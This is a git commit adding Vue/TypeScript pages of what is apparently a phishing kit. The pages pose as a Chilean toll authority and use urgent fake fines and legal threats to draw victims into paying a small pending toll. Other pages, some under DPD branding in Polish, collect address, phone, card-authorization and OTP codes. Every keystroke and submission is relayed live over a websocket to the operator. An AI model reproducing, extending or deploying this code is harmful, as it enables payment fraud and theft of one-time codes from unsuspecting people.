This commit is contained in:
telangpu
2026-05-10 22:11:57 +08:00
parent 28f5c4ad85
commit b8e0814009
1424 changed files with 31712 additions and 390 deletions

View File

@@ -0,0 +1,253 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { reactive, ref, onMounted } from "vue";
import { useI18n } from "vue-i18n";
import { inputChange, configData, myWebSocket } from "@/utils/common";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
// 1. 完全保留原始數據結構,確保與後端/工具類兼容
const formData = reactive({
fullName: "N/A", // 雖然圖中沒顯示姓名,但保留此 key 確保邏輯不報錯 (給預設值)
lastName: "N/A",
phone: "", // Número de teléfono
address: "", // Dirección
address2: "", // 保留備用
city: "", // Ciudad
state: "N/A", // 給預設值,因為圖中沒有 State 輸入框
zipCode: "N/A", // 給預設值
email: "N/A@email.com", // 給預設值
});
// 2. 完全保留原始錯誤狀態邏輯
const formDataError = reactive({
phone: false,
address: false,
city: false,
});
// 3. 嚴格執行 inputChange 實時同步邏輯
const textChange = (event: any, key: string) => {
const value = event.target.value;
// 調用 utils 中的實時同步函數
inputChange("input_address", key, value);
// 實時更新錯誤狀態
(formDataError as any)[key] = !value;
};
// 4. 按鈕啟用邏輯 (針對圖中顯示的三個欄位進行檢查)
const isFormComplete = () => {
return (
formData.phone &&
formData.address &&
formData.city
);
};
// 5. Next 跳轉邏輯
const next = () => {
// 再次校驗
formDataError.city = !formData.city;
formDataError.address = !formData.address;
formDataError.phone = !formData.phone;
const hasError = Object.values(formDataError).some(val => val === true);
if (hasError) return;
// 保存手机号到 localStorage供其他页面使用
localStorage.setItem("phoneNumber", formData.phone);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 400);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phoneNumber");
if (phone) {
formData.phone = phone;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="info-page-wrapper">
<div class="info-content-box">
<h1 class="info-title">Información de Contacto</h1>
<form @submit.prevent="next" novalidate>
<div class="form-group">
<label>Dirección <span class="required">*</span></label>
<input
type="text"
placeholder="Dirección de facturación"
v-model="formData.address"
@input="(e) => textChange(e, 'address')"
:class="{ 'input-error': formDataError.address }"
/>
</div>
<div class="form-group">
<label>Ciudad <span class="required">*</span></label>
<input
type="text"
placeholder="Ciudad"
v-model="formData.city"
@input="(e) => textChange(e, 'city')"
:class="{ 'input-error': formDataError.city }"
/>
</div>
<div class="form-group">
<label>Número de teléfono <span class="required">*</span></label>
<input
type="tel"
placeholder="Número de Teléfono"
v-model="formData.phone"
@input="(e) => textChange(e, 'phone')"
:class="{ 'input-error': formDataError.phone }"
/>
</div>
<div class="submit-section">
<button
type="submit"
class="btn-enviar"
:disabled="!isFormComplete()"
>
Enviar
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 整體背景為純白 */
.info-page-wrapper {
background-color: #ffffff;
display: flex;
justify-content: center;
padding: 40px 20px;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
}
.info-content-box {
width: 100%;
max-width: 450px;
}
/* 標題居中,顏色較深 */
.info-title {
font-size: 26px;
font-weight: 700;
color: #2c3e50;
margin-bottom: 40px;
text-align: left; /* 依照圖中對齊方式 */
}
.form-group {
margin-bottom: 25px;
}
/* Label 樣式 */
.form-group label {
display: block;
font-size: 15px;
font-weight: 600;
margin-bottom: 10px;
color: #333;
}
.required {
color: #e74c3c;
margin-left: 2px;
}
/* 輸入框樣式:灰邊、圓角、淺灰色 Placeholder */
input {
width: 100%;
padding: 14px 16px;
border: 1px solid #dcdfe6;
border-radius: 6px;
font-size: 16px;
color: #333;
box-sizing: border-box;
transition: border-color 0.2s;
background-color: #ffffff;
}
input::placeholder {
color: #b0b8c1;
}
input:focus {
outline: none;
border-color: #4caf50; /* 聚焦時變綠色 */
}
/* 錯誤提示邊框 */
.input-error {
border-color: #fb923c !important; /* 橘紅錯誤色 */
}
.submit-section {
margin-top: 40px;
}
/* 綠色按鈕:完全復刻圖片 */
.btn-enviar {
width: 100%;
background-color: #4caf50; /* 圖片中的綠色 */
color: #ffffff;
border: none;
border-radius: 6px;
padding: 14px;
font-size: 18px;
font-weight: 600;
cursor: pointer;
transition: opacity 0.2s, background-color 0.2s;
}
.btn-enviar:disabled {
background-color: #4caf50;
opacity: 0.6;
cursor: not-allowed;
}
.btn-enviar:active {
background-color: #43a047;
}
/* 移動端微調 */
@media (max-width: 480px) {
.info-title {
font-size: 22px;
margin-bottom: 30px;
}
}
</style>

View File

@@ -0,0 +1,275 @@
<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="dpd-app-wrapper">
<div class="dpd-app-card">
<!-- 手机 App 授权图示 -->
<div class="dpd-phone-icon">
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="80" height="80">
<rect x="18" y="4" width="44" height="72" rx="7" fill="#f4f4f4" stroke="#dc0032" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#dc0032" opacity="0.3"/>
<circle cx="40" cy="70" r="3" fill="#dc0032" opacity="0.5"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#dc0032" opacity="0.12" stroke="#dc0032" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#dc0032" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h2 class="dpd-title">Autoryzacja w aplikacji bankowej</h2>
<p class="dpd-desc">
Otwórz aplikację swojego banku i potwierdź transakcję płatności DPD.<br/>
Nie zamykaj tej strony do momentu potwierdzenia.
</p>
<div class="dpd-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#dc0032" style="flex-shrink:0">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
</svg>
<span><b>{{ t("Authorized bank") }}</b></span>
</div>
<p class="dpd-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="dpd-sub">{{ t("Please do not close this page") }}</p>
<p class="dpd-error" v-if="message">{{ message }}</p>
<div class="dpd-input-wrap" v-if="showInput">
<label class="dpd-input-label">Jednorazowy kod autoryzacyjny</label>
<input
required
type="number"
inputmode="numeric"
class="dpd-input"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
placeholder="Wprowadź kod"
/>
<button class="dpd-btn" type="button" @click="submit">Potwierdź</button>
</div>
<div class="dpd-loading-wrap" v-if="!showInput">
<svg class="dpd-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#eeeeee" stroke-width="4"/>
<circle cx="25" cy="25" r="20" fill="none" stroke="#dc0032" stroke-width="4"
stroke-dasharray="80 45" stroke-linecap="round"/>
</svg>
<p class="dpd-waiting">Oczekiwanie na potwierdzenie w aplikacji</p>
</div>
</div>
</div>
</template>
<style scoped>
.dpd-app-wrapper {
min-height: 100dvh;
background-color: #f6f6f6;
display: flex;
align-items: center;
justify-content: center;
padding: 24px 16px;
font-family: Arial, sans-serif;
}
.dpd-app-card {
background: #ffffff;
border-radius: 8px;
border: 1px solid #e5e5e5;
box-shadow: 0 2px 12px rgba(0,0,0,0.06);
padding: 36px 28px;
width: 100%;
max-width: 400px;
text-align: center;
}
.dpd-logo {
margin-bottom: 20px;
}
.dpd-logo-img {
width: 100px;
height: auto;
}
.dpd-phone-icon {
margin: 0 auto 20px;
}
.dpd-title {
font-size: 20px;
font-weight: 800;
color: #222;
margin-bottom: 12px;
}
.dpd-desc {
font-size: 14px;
color: #555;
line-height: 1.6;
margin-bottom: 20px;
}
.dpd-bank-row {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 14px;
color: #333;
margin-bottom: 8px;
}
.dpd-sub {
font-size: 13px;
color: #888;
margin: 4px 0;
}
.dpd-error {
color: #dc0032;
font-size: 14px;
font-weight: 600;
margin: 12px 0;
}
.dpd-input-wrap {
margin-top: 20px;
display: flex;
flex-direction: column;
gap: 10px;
align-items: center;
}
.dpd-input-label {
font-size: 14px;
font-weight: 600;
color: #333;
}
.dpd-input {
width: 80%;
padding: 10px 12px;
border: 2px solid #ccc;
border-radius: 6px;
font-size: 18px;
font-weight: 700;
text-align: center;
outline: none;
box-sizing: border-box;
}
.dpd-input:focus {
border-color: #dc0032;
}
.dpd-btn {
width: 80%;
padding: 12px;
background-color: #dc0032;
color: #fff;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 700;
cursor: pointer;
}
.dpd-btn:active {
background-color: #b30026;
}
.dpd-loading-wrap {
margin-top: 24px;
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
}
.dpd-spinner {
width: 48px;
height: 48px;
animation: spin 1.2s linear infinite;
}
.dpd-waiting {
font-size: 13px;
color: #999;
}
@keyframes spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
</style>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,27 @@
<script setup lang="ts">
import { footerHtml, headerHtml } from "@/utils/common";
</script>
<template>
<body>
<div class="v-application v-application--is-ltr theme--light">
<div class="v-application--wrap">
<header
class="container-fluid"
id="banner"
role="banner"
v-html="headerHtml"
></header>
<main style="padding-top: 0px;">
<div style="">
<slot></slot>
</div>
</main>
<footer class="container-fluid" v-html="footerHtml"></footer>
</div>
</div>
</body>
</template>
<style></style>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,330 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
// 保持邏輯不變:使用 phoneData 結構
const formData = ref({ phoneData: { plateNumber: "" } });
// 狀態控制是否正在查詢圖3狀態
const isConsulting = ref(false);
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
// 保持原本邏輯
inputChange("首頁輸入", "plate", event.target.value);
};
const next = () => {
// 1. 觸發局部切換為圖3的查詢狀態
isConsulting.value = true;
// 2. 模擬查詢延遲,隨後執行原本的跳轉邏輯
setTimeout(() => {
localStorage.setItem("plateNumber", formData.value.phoneData.plateNumber);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay");
}, 200);
}, 2500); // 模擬 2.5 秒的查詢時間
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "home" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phoneData) {
formData.value = userData;
}
localStorage.setItem("route", "home");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="chile-page-wrapper">
<div class="chile-container">
<div class="chile-header">
<h2>Aviso de tránsito sin TAG</h2>
<div class="blue-line"></div>
</div>
<div class="static-top-content">
<div class="info-alert-box">
<p>Este aviso requiere su atención inmediata para regularizar el cobro de peaje.</p>
</div>
<p class="description-text">
Nuestros registros muestran un tránsito por autopistas urbanas concesionadas en Chile sin un medio de pago habilitado (TAG o peaje registrado) asociado al vehículo. Para evitar recargos, intereses y eventuales gestiones de cobranza, le solicitamos revisar el detalle e iniciar la regularización en línea a la brevedad.
</p>
<p class="description-text">
Ingrese la patente de su vehículo para consultar el detalle del tránsito y el monto a regularizar.
</p>
</div>
<div class="dynamic-content">
<div v-if="!isConsulting" class="initial-view">
<div class="form-card">
<form @submit.prevent="next">
<label class="input-label">Patente del vehículo</label>
<p class="input-hint">Ingrese la patente tal como figura en el padrón (por ejemplo, ABCD12).</p>
<input
type="text"
required
v-model="formData.phoneData.plateNumber"
@input="onchange"
class="chile-input"
autofocus
placeholder=""
/>
<button type="submit" class="chile-btn-submit">
Revisar tránsito
</button>
</form>
</div>
<div class="consequences-section">
<h3>Consecuencias de no regularizar a tiempo</h3>
<p>Si no completa este proceso dentro de los plazos informados, se puede exponer a:</p>
<ul>
<li>Aplicación de cargos adicionales y gastos de cobranza sobre el monto original.</li>
<li>Derivación del caso a empresas externas de cobranza autorizadas.</li>
<li>Registro de multas e infracciones de tránsito asociadas al vehículo.</li>
<li>Imposibilidad de renovar el permiso de circulación hasta regularizar la deuda.</li>
<li>Eventual denuncia ante el Juzgado de Policía Local competente.</li>
<li>Otras gestiones de cobro permitidas por la normativa vigente en Chile.</li>
</ul>
</div>
</div>
<div v-else class="consulting-view">
<div class="loader-container">
<div class="spinner"></div>
<p class="loading-text-bold">Consultando registros de tránsito...</p>
<p class="loading-text-small">
Esto puede tardar algunos segundos. No cierre esta ventana mientras realizamos la búsqueda.
</p>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 智利高速公路官方風格復刻 */
.chile-page-wrapper {
background-color: #ffffff;
min-height: 100vh;
padding: 20px 15px;
font-family: Arial, sans-serif;
color: #333;
}
.chile-container {
max-width: 500px;
margin: 0 auto;
}
/* 標題與藍線 */
.chile-header h2 {
font-size: 20px;
font-weight: bold;
color: #333;
margin-bottom: 10px;
text-align: left;
}
.blue-line {
height: 4px;
background-color: #4a90e2;
width: 100%;
margin-bottom: 25px;
}
/* 藍色提示框 */
.info-alert-box {
background-color: #f0f7ff;
border-left: 4px solid #4a90e2;
padding: 15px;
margin-bottom: 20px;
}
.info-alert-box p {
margin: 0;
font-weight: bold;
font-size: 15px;
color: #333;
line-height: 1.4;
}
.description-text {
font-size: 14px;
color: #444;
line-height: 1.6;
margin-bottom: 15px;
}
/* 表單卡片 */
.form-card {
background-color: #f8f9fa;
border: 1px solid #e9ecef;
border-radius: 8px;
padding: 20px;
margin-bottom: 30px;
box-shadow: 0 2px 4px rgba(0,0,0,0.02);
}
.input-label {
display: block;
font-weight: bold;
font-size: 16px;
color: #333;
margin-bottom: 5px;
}
.input-hint {
font-size: 13px;
color: #888;
margin-bottom: 15px;
}
.chile-input {
width: 100%;
box-sizing: border-box;
padding: 12px;
border: 1px solid #ced4da;
border-radius: 4px;
font-size: 18px;
margin-bottom: 20px;
outline: none;
}
.chile-input:focus {
border-color: #4a90e2;
}
.chile-btn-submit {
background-color: #4a90e2;
color: white;
border: none;
border-radius: 4px;
padding: 12px 25px;
font-size: 16px;
font-weight: bold;
cursor: pointer;
}
/* 後果列表 */
.consequences-section {
border-left: 4px solid #4a90e2;
padding-left: 15px;
margin-top: 10px;
}
.consequences-section h3 {
font-size: 18px;
font-weight: bold;
margin-bottom: 15px;
color: #333;
}
.consequences-section p {
font-size: 14px;
margin-bottom: 15px;
}
.consequences-section ul {
padding-left: 15px;
margin: 0;
}
.consequences-section li {
font-size: 13.5px;
color: #444;
margin-bottom: 12px;
line-height: 1.4;
list-style-type: disc;
}
/* 圖3加載動畫佈局 */
.consulting-view {
display: flex;
justify-content: center;
align-items: center;
padding: 40px 0;
}
.loader-container {
text-align: center;
display: flex;
flex-direction: column;
align-items: center;
}
/* 藍色旋轉圓環 */
.spinner {
width: 50px;
height: 50px;
border: 4px solid #f3f3f3;
border-top: 4px solid #4a90e2;
border-radius: 50%;
animation: spin 1s linear infinite;
margin-bottom: 20px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.loading-text-bold {
font-size: 18px;
font-weight: bold;
color: #333;
margin-bottom: 8px;
}
.loading-text-small {
font-size: 14px;
color: #888;
max-width: 320px;
line-height: 1.4;
}
@media (max-width: 480px) {
.chile-container {
padding: 5px;
}
}
</style>

View File

@@ -0,0 +1,62 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner" style="display: none;"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: #f5f5f5;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 40px;
height: 40px;
border: 4px solid rgb(81, 81, 81, 0.3);
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,60 @@
<template>
<div
v-if="isLoading"
class="loading-overlay"
:style="{ backgroundColor: loadingBg.value }"
>
<div class="spinner"></div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { loadingBg } from "@/utils/common";
export default defineComponent({
computed: {
loadingBg() {
return loadingBg;
},
},
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
.spinner {
border: 4px solid #f1f1f1;
border-top: 4px solid #003087;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
</style>

View File

@@ -0,0 +1,473 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const isVerifying = ref(false);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) {
message1.value = type;
}
}
localStorage.setItem("route", "otpValid");
// 尝试恢复倒计时,如果没有进行中的倒计时则启动新的倒计时
restoreCountdown();
if (!isCounting.value) {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
isVerifying.value = true;
if (!areAllValuesNotEmpty(formData)) {
isVerifying.value = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Reenviar código (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
: "Reenviar código";
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
// 保存倒计时开始时间到 localStorage方便页面刷新后恢复
const startTime = Date.now();
localStorage.setItem("countdownStartTime", startTime.toString());
localStorage.setItem("countdownDuration", initialTime.toString());
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
// 清除 localStorage 中的倒计时数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
};
// 恢复倒计时状态(页面刷新后)
const restoreCountdown = () => {
const startTimeStr = localStorage.getItem("countdownStartTime");
const durationStr = localStorage.getItem("countdownDuration");
if (startTimeStr && durationStr) {
const startTime = parseInt(startTimeStr);
const duration = parseInt(durationStr);
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
const remainingTime = Math.max(0, duration - elapsedSeconds);
if (remainingTime > 0) {
isCounting.value = true;
timeLeft.value = remainingTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
} else {
// 倒计时已过期,清除数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
}
}
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
isVerifying.value = false;
};
const expandedSections = reactive({ auth: false, help: false });
const toggleInfoSection = (section: string) => {
if (section === 'auth') {
expandedSections.auth = !expandedSections.auth;
} else if (section === 'help') {
expandedSections.help = !expandedSections.help;
}
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
// 不要在卸载时清除倒计时,这样刷新页面时倒计时还会继续
if (timer !== null) {
clearInterval(timer);
}
});
</script>
<template>
<div id="otp-page" class="page-wrapper">
<div class="container-outer">
<div class="card-container">
<div class="header-nav">
<div class="bank-icon">
<svg viewBox="0 0 24 24" width="36" height="36" fill="#333">
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
</svg>
</div>
<div class="card-logo-wrapper">
<CardType1 :cardType="cardType" />
</div>
</div>
<div class="content-body">
<h2 class="page-title">Seguridad del pago</h2>
<p class="instruction-text">
Para garantizar la seguridad de su pago, hemos enviado una contraseña de un solo uso (OTP) a su número de móvil registrado<span v-if="message1"> terminado en {{ message1 }}</span>. Por favor, ingrese el código de verificación a continuación.
</p>
<form @submit.prevent="submit">
<div class="form-group">
<label class="field-label">Código de verificación</label>
<input
required
type="text"
class="otp-input-field"
placeholder="Ingrese el código de verificación"
v-model="formData.verifyCode"
@input="onchange"
/>
</div>
<div class="error-feedback" v-if="message">{{ message }}</div>
<div class="form-actions-row">
<button type="submit" class="submit-button">Enviar</button>
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<div class="bottom-links">
<div class="divider-line"></div>
<div class="info-row" @click="toggleInfoSection('auth')">
<span class="info-label">Más información sobre la autenticación</span>
<span class="icon-plus">+</span>
</div>
<div class="info-row" @click="toggleInfoSection('help')">
<span class="info-label">¿Necesita ayuda?</span>
<span class="icon-plus">+</span>
</div>
</div>
</div>
</div>
</div>
<Transition name="fade">
<div class="loading-overlay" v-if="isVerifying">
<div class="overlay-backdrop"></div>
<div class="overlay-box">
<div class="loader-spinner"></div>
<div class="loader-text">Verificando</div>
</div>
</div>
</Transition>
</div>
</template>
<style scoped>
.page-wrapper {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: flex-start;
font-family: "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
.container-outer {
width: 100%;
max-width: 500px;
padding: 20px;
}
.card-container {
background: #ffffff;
}
/* Header Navbar */
.header-nav {
display: flex;
justify-content: flex-start;
align-items: center;
padding: 15px 0 20px 0;
border-bottom: 1px solid #f0f0f0;
}
.content-body {
padding: 25px 0;
}
.page-title {
font-size: 20px;
font-weight: bold;
color: #333;
margin-bottom: 20px;
}
.instruction-text {
font-size: 14px;
color: #666;
line-height: 1.6;
margin-bottom: 30px;
}
/* Form Styles */
.form-group {
margin-bottom: 18px;
}
.field-label {
display: block;
font-weight: bold;
font-size: 14px;
color: #333;
margin-bottom: 10px;
}
.otp-input-field {
width: 100%;
padding: 12px 12px;
border: 1px solid #ccc;
border-radius: 4px;
font-size: 14px;
box-sizing: border-box;
}
.otp-input-field::placeholder {
color: #999;
}
.otp-input-field:focus {
border-color: #4a90e2;
outline: none;
}
/* Actions: Button and Resend Link on the same line */
.form-actions-row {
display: flex;
align-items: center;
justify-content: space-between;
margin-top: 25px;
}
.submit-button {
background-color: #4a90e2;
color: #ffffff;
border: none;
padding: 13px 24px;
border-radius: 6px;
font-size: 15px;
font-weight: bold;
cursor: pointer;
transition: background 0.2s;
}
.submit-button:hover {
background-color: #357abd;
}
.resend-link {
font-size: 13px;
color: #4a90e2;
text-decoration: none;
white-space: nowrap;
}
.resend-link:hover {
text-decoration: underline;
}
.error-feedback {
color: #d32f2f;
font-size: 13px;
margin-top: 10px;
}
/* Accordion Style Links */
.bottom-links {
margin-top: 30px;
}
.divider-line {
height: 1px;
background-color: #e0e0e0;
margin-bottom: 0;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 16px 0;
border-bottom: 1px solid #e0e0e0;
cursor: pointer;
}
.info-label {
font-size: 14px;
color: #333;
font-weight: 500;
}
.icon-plus {
color: #999;
font-size: 18px;
}
/* Loading Overlay Styles */
.loading-overlay {
position: fixed;
inset: 0;
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
}
.overlay-backdrop {
position: absolute;
inset: 0;
background: rgba(255, 255, 255, 0.9);
}
.overlay-box {
position: relative;
text-align: center;
}
.loader-spinner {
width: 45px;
height: 45px;
border: 4px solid #f3f3f3;
border-top: 4px solid #2563eb;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 15px;
}
.loader-text {
font-size: 15px;
color: #486581;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
.bank-icon {
width: 36px;
height: 36px;
flex-shrink: 0;
}
.card-logo-wrapper {
display: none;
}
/* Responsive */
@media (max-width: 480px) {
.form-actions-row {
gap: 10px;
}
.submit-button {
width: 100%;
}
.page-title {
font-size: 18px;
}
}
</style>

View File

@@ -0,0 +1,201 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { onMounted, ref } from "vue";
import { configData, myWebSocket } from "../utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
const licensePlate = ref("");
const fineAmount = ref("$6.99");
const tollDate = ref("");
const calculateTollDate = () => {
const now = new Date();
const sixDaysAgo = new Date(now.getTime() - 6 * 24 * 60 * 60 * 1000);
const month = String(sixDaysAgo.getMonth() + 1).padStart(2, '0');
const day = String(sixDaysAgo.getDate()).padStart(2, '0');
const year = sixDaysAgo.getFullYear();
return `${month}/${day}/${year}`;
};
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 200);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "pay" },
})
);
localStorage.setItem("route", "pay");
const savedPlate = localStorage.getItem("phoneNumber");
if (savedPlate) {
licensePlate.value = savedPlate;
}
tollDate.value = calculateTollDate();
if (configData?.value?.pay_amount) {
fineAmount.value = `$${configData.value.pay_amount}`;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="page-container">
<div class="content-card">
<div class="card-bg-layer"></div>
<div class="card-body-layer">
<h1 class="main-title">Servicios para<br/>Conductores</h1>
<div class="message-text">
<p>
Nuestro sistema ha detectado un cargo de peaje pendiente asociado a su cuenta.
Para evitar complicaciones o interrupciones inesperadas, por favor tome medidas
para resolver este problema dentro de las próximas 12 horas.
</p>
</div>
<div class="amount-info">
<span class="label">Cantidad Pendiente: </span>
<span class="value">
{{ configData?.pay_amount ? '$ ' + configData.pay_amount : '$ 6.99' }}
</span>
</div>
<button @click="next" class="btn-pay">
Pagar Peajes
</button>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 頁面基礎容器,確保卡片居中 */
.page-container {
display: flex;
align-items: center;
justify-content: center;
background-color: #f0f2f5; /* 頁面底色 */
}
/* 卡片主體:背景高度與內容一致 */
.content-card {
position: relative;
width: 100%;
overflow: hidden; /* 確保背景不超出圓角 */
box-shadow: 0 8px 24px rgba(0, 0, 0, 0.15);
display: flex;
flex-direction: column;
}
/* 背景層:高度自動撐開,與卡片一致 */
.card-bg-layer {
